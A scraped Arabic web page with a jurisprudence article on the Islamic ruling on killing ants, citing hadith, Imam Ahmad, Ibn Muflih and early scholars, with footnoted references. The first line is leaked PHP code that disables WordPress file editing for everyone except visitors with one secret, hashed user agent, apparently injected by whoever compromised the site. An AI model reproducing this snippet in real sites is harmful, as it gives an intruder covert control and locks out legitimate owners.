if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } حكم قتل النمل - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

حكم قتل النمل

(وَلَا يَجُوْزُ قَتْلُ النَّمْلِ، وَلَا تَخْرِيْبُ أَجْحُرَتِهِنَّ) ورد في الحديث: «أن نبيًا من أنبياء الله قرصته نملة، فحرّق قرية النمل التي حوله، فقيل له: فهلا نملة واحدة»[1] [الحديث متفق عليه] يعني جاء في الحديث ما يدل على جواز القتل؛ لأنها آذت لكن تحريق قرية النمل وبيوت النمل وأذية النمل الذي لم يؤذي، نقول: الأصل منعه، وجاء في الحديث الآخر أنه صلى الله عليه وسلم «نهَى عن قتلِ أربعٍ مِن الدَّوابِّ: النَّملةُ، والنَّحلةُ، والهُدهدُ، والصُّـرَدُ»[2] [رواه الإمام أحمد وأبو داود وإسناده صحيح] وجاء في بعض الروايات إضافة الضفدع مع الأربع فتصير خمسًا، فلا يجوز قتل النمل إلا إذا حصل منه أذية، وعندنا الآن نملٌ مؤذٍ سام وهو النمل الأسود، أكبر من النملة الصغيرة وأكثر أذية بل هو مؤذٍ، ولهذا مثل هذا يُقتل لكن النمل المعتاد الذر الصغير الذي لا يؤذي هذا لا يُقتل؛ لأن الأصل فيه عدم الإيذاء لكن قد يؤذي، ولهذا نقول: إن النمل إذا آذى قُتل، قال ابن مفلح رحمه الله: (وَيُكْرَهُ قَتْلُ النَّمْلِ إلَّا مِنْ أَذِيَّةٍ شَدِيدَةٍ فَإِنَّهُ يَجُوزُ قَتْلُهُنَّ وَقَتْلُ الْقُمَّلِ بِغَيْرِ النَّارِ وَيُكْرَهُ قَتْلُهُمَا بِالنَّارِ) أي النمل والقمل، يقول: يُقتلن، القمل يُقتل على الإطلاق والنمل إذا آذى، وقتلهن بغير النار إذ النار لا يعذب بها إلا رب النار، ومن أذية النمل المعروفة، النمل غير الأسود هذا الذي يقرص ويؤذي، من أذية النمل أن يحفر في البيوتات ويحفر في البلاط ويُخرج الرمل ويحفر في الأشجار ويُخرج التراب، فهذه أذية تبيح قتله، إذن من أذية النمل: حفره تحت البلاط أو تحت الشجر وأذية بعض أنواعه بالقرص فحينئذٍ لا بأس بقتله كما نص على ذلك الإمام أحمد رحمه الله قياسًا على الفواسق، فإذا كان الشارع قد نص على قتل خمس فواسق في الحل والحرم للأذية، فالنمل هذا المؤذي مثلها في الأذية بل ربما في القرص مثلها ويقاربها فقرصته مؤلمة وضارة وربما أن فيها سم، نقول: ولأن ابن آدم إذا صال ولم يندفع شره إلا بالقتل جاز قتله، فإذا جاز هذا في الآدمي المحترم فالنمل من باب أولى، لكن إن أمكن دفع أذاه بدون قتل فلا يُقتل، جاء عن إبراهيم النخعي رحمه الله قوله: (إذا آذاك النمل فاقتله)، وجاء عن طاووس بن كيسان رحمه الله قوله: (إنا لنغرق النمل بالماء) [رواه ابن أبي شيبة] ويعني بذلك: إذا آذى، أما إذا لم يؤذي فالأصل تركه، إذن القاعدة في النمل، نقول: إن آذى قُتل وإلا فلا، وكيف يُقتل؟ يُقتل بما تيسر من سم وماء كما هنا إذا كان غرقه بالماء يقتله فإنه حُكي عن طاووس بن كيسان رحمه الله.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه البخاري  (3019)عن أبي هريرة رَضِيَ اللهُ عَنْهُ قال: «سَمِعْتُ رَسولَ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ، يقولُ: قَرَصَتْ نَمْلَةٌ نَبِيًّا مِنَ الأنْبِيَاءِ، فأمَرَ بقَرْيَةِ النَّمْلِ، فَأُحْرِقَتْ، فأوْحَى اللهُ إلَيْهِ: أنْ قَرَصَتْكَ نَمْلَةٌ أحْرَقْتَ أُمَّةً مِنَ الأُمَمِ تُسَبِّحُ».

[2] أخرجه أبو داود (5267) واللفظ له، وابن ماجه (3224)، وأحمد (3066)، والحديث صححه الألباني في صحيح الترغيب (2990).